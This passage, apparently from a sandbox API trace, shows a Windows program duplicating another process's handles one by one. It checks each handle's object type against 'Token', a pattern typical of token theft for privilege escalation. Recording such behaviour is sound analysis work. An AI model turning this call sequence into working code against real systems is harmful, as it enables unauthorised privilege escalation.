hSourceProcessHandle=0x168, hSourceHandle=0x514, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.891] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.891] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.891] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.891] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.891] LocalFree (hMem=0x160a40) returned 0x0 [0196.891] CloseHandle (hObject=0x16c) returned 1 [0196.891] CloseHandle (hObject=0x168) returned 1 [0196.891] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.891] GetCurrentProcess () returned 0xffffffffffffffff [0196.891] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x518, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.891] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.892] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.892] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.892] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.892] LocalFree (hMem=0x160a40) returned 0x0 [0196.892] CloseHandle (hObject=0x16c) returned 1 [0196.892] CloseHandle (hObject=0x168) returned 1 [0196.892] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.892] GetCurrentProcess () returned 0xffffffffffffffff [0196.892] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x51c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.892] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.892] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.892] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.892] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.892] LocalFree (hMem=0x160a40) returned 0x0 [0196.892] CloseHandle (hObject=0x16c) returned 1 [0196.892] CloseHandle (hObject=0x168) returned 1 [0196.892] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.892] GetCurrentProcess () returned 0xffffffffffffffff [0196.892] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x520, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.892] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.892] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.892] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.892] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.892] LocalFree (hMem=0x160a40) returned 0x0 [0196.892] CloseHandle (hObject=0x16c) returned 1 [0196.893] CloseHandle (hObject=0x168) returned 1 [0196.893] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.893] GetCurrentProcess () returned 0xffffffffffffffff [0196.893] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x524, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.893] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.893] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.893] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.893] RtlEqualUnicodeString (String1="Section", String2="Token", CaseInsensitive=1) returned 0 [0196.893] LocalFree (hMem=0x160a40) returned 0x0 [0196.893] CloseHandle (hObject=0x16c) returned 1 [0196.893] CloseHandle (hObject=0x168) returned 1 [0196.893] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.893] GetCurrentProcess () returned 0xffffffffffffffff [0196.893] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x528, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.893] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.893] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.893] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.893] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.893] LocalFree (hMem=0x160a40) returned 0x0 [0196.893] CloseHandle (hObject=0x16c) returned 1 [0196.893] CloseHandle (hObject=0x168) returned 1 [0196.893] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.893] GetCurrentProcess () returned 0xffffffffffffffff [0196.893] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x52c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.894] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.894] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.894] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.894] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.894] LocalFree (hMem=0x160a40) returned 0x0 [0196.894] CloseHandle (hObject=0x16c) returned 1 [0196.894] CloseHandle (hObject=0x168) returned 1 [0196.894] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.894] GetCurrentProcess () returned 0xffffffffffffffff [0196.894] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x530, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.894] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.894] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.894] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.894] RtlEqualUnicodeString (String1="Section", String2="Token", CaseInsensitive=1) returned 0 [0196.894] LocalFree (hMem=0x160a40) returned 0x0 [0196.894] CloseHandle (hObject=0x16c) returned 1 [0196.894] CloseHandle (hObject=0x168) returned 1 [0196.894] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.894] GetCurrentProcess () returned 0xffffffffffffffff [0196.894] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x540, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.894] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.894] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.894] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.894] RtlEqualUnicodeString (String1="Section", String2="Token", CaseInsensitive=1) returned 0 [0196.895] LocalFree (hMem=0x160a40) returned 0x0 [0196.895] CloseHandle (hObject=0x16c) returned 1 [0196.895] CloseHandle (hObject=0x168) returned 1 [0196.895] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.895] GetCurrentProcess () returned 0xffffffffffffffff [0196.895] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x544, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.895] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.895] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.895] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.895] RtlEqualUnicodeString (String1="Process", String2="Token", CaseInsensitive=1) returned 0 [0196.895] LocalFree (hMem=0x160a40) returned 0x0 [0196.895] CloseHandle (hObject=0x16c) returned 1 [0196.895] CloseHandle (hObject=0x168) returned 1 [0196.895] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.895] GetCurrentProcess () returned 0xffffffffffffffff [0196.895] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x548, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.895] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.895] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.895] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.895] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.895] LocalFree (hMem=0x160a40) returned 0x0 [0196.895] CloseHandle (hObject=0x16c) returned 1 [0196.895] CloseHandle (hObject=0x168) returned 1 [0196.895] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.896] GetCurrentProcess () returned 0xffffffffffffffff [0196.896] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x54c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.896] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.896] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.896] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.896] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.896] LocalFree (hMem=0x160a40) returned 0x0 [0196.896] CloseHandle (hObject=0x16c) returned 1 [0196.896] CloseHandle (hObject=0x168) returned 1 [0196.896] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.896] GetCurrentProcess () returned 0xffffffffffffffff [0196.896] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x550, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.896] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.896] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.896] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.896] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.896] LocalFree (hMem=0x160a40) returned 0x0 [0196.896] CloseHandle (hObject=0x16c) returned 1 [0196.896] CloseHandle (hObject=0x168) returned 1 [0196.896] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.896] GetCurrentProcess () returned 0xffffffffffffffff [0196.896] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x554, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.896] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.896] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.896] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.897] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.897] LocalFree (hMem=0x160a40) returned 0x0 [0196.897] CloseHandle (hObject=0x16c) returned 1 [0196.897] CloseHandle (hObject=0x168) returned 1 [0196.897] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.897] GetCurrentProcess () returned 0xffffffffffffffff [0196.897] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x558, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.897] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.897] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.897] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.897] RtlEqualUnicodeString (String1="Process", String2="Token", CaseInsensitive=1) returned 0 [0196.897] LocalFree (hMem=0x160a40) returned 0x0 [0196.897] CloseHandle (hObject=0x16c) returned 1 [0196.897] CloseHandle (hObject=0x168) returned 1 [0196.897] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.897] GetCurrentProcess () returned 0xffffffffffffffff [0196.897] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x55c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.897] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.897] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.897] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.897] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.897] LocalFree (hMem=0x160a40) returned 0x0 [0196.897] CloseHandle (hObject=0x16c) returned 1 [0196.897] CloseHandle (hObject=0x168) returned 1 [0196.898] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.898] GetCurrentProcess () returned 0xffffffffffffffff [0196.898] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x560, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.898] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.898] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.898] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.898] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.898] LocalFree (hMem=0x160a40) returned 0x0 [0196.898] CloseHandle (hObject=0x16c) returned 1 [0196.898] CloseHandle (hObject=0x168) returned 1 [0196.898] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.898] GetCurrentProcess () returned 0xffffffffffffffff [0196.898] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x564, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.898] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.898] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.898] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.898] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.898] LocalFree (hMem=0x160a40) returned 0x0 [0196.898] CloseHandle (hObject=0x16c) returned 1 [0196.899] CloseHandle (hObject=0x168) returned 1 [0196.899] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.899] GetCurrentProcess () returned 0xffffffffffffffff [0196.899] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x568, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.899] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.900] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.900] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.900] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.900] LocalFree (hMem=0x160a40) returned 0x0 [0196.900] CloseHandle (hObject=0x16c) returned 1 [0196.900] CloseHandle (hObject=0x168) returned 1 [0196.900] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.900] GetCurrentProcess () returned 0xffffffffffffffff [0196.900] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x56c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.900] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.900] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.900] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.900] RtlEqualUnicodeString (String1="ALPC Port", String2="Token", CaseInsensitive=1) returned 0 [0196.900] LocalFree (hMem=0x181a40) returned 0x0 [0196.900] CloseHandle (hObject=0x16c) returned 1 [0196.900] CloseHandle (hObject=0x168) returned 1 [0196.900] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.900] GetCurrentProcess () returned 0xffffffffffffffff [0196.900] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x574, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.900] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.900] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.900] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.901] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.901] LocalFree (hMem=0x160a40) returned 0x0 [0196.901] CloseHandle (hObject=0x16c) returned 1 [0196.901] CloseHandle (hObject=0x168) returned 1 [0196.901] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.901] GetCurrentProcess () returned 0xffffffffffffffff [0196.901] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x578, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.901] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.901] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.901] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.901] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.901] LocalFree (hMem=0x160a40) returned 0x0 [0196.901] CloseHandle (hObject=0x16c) returned 1 [0196.901] CloseHandle (hObject=0x168) returned 1 [0196.901] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.901] GetCurrentProcess () returned 0xffffffffffffffff [0196.901] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x57c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.901] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.901] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.901] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.901] RtlEqualUnicodeString (String1="Process", String2="Token", CaseInsensitive=1) returned 0 [0196.901] LocalFree (hMem=0x160a40) returned 0x0 [0196.901] CloseHandle (hObject=0x16c) returned 1 [0196.901] CloseHandle (hObject=0x168) returned 1 [0196.902] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.902] GetCurrentProcess () returned 0xffffffffffffffff [0196.902] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x580, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.902] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.902] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.902] NtQueryObject (in: Handle=0x16c, 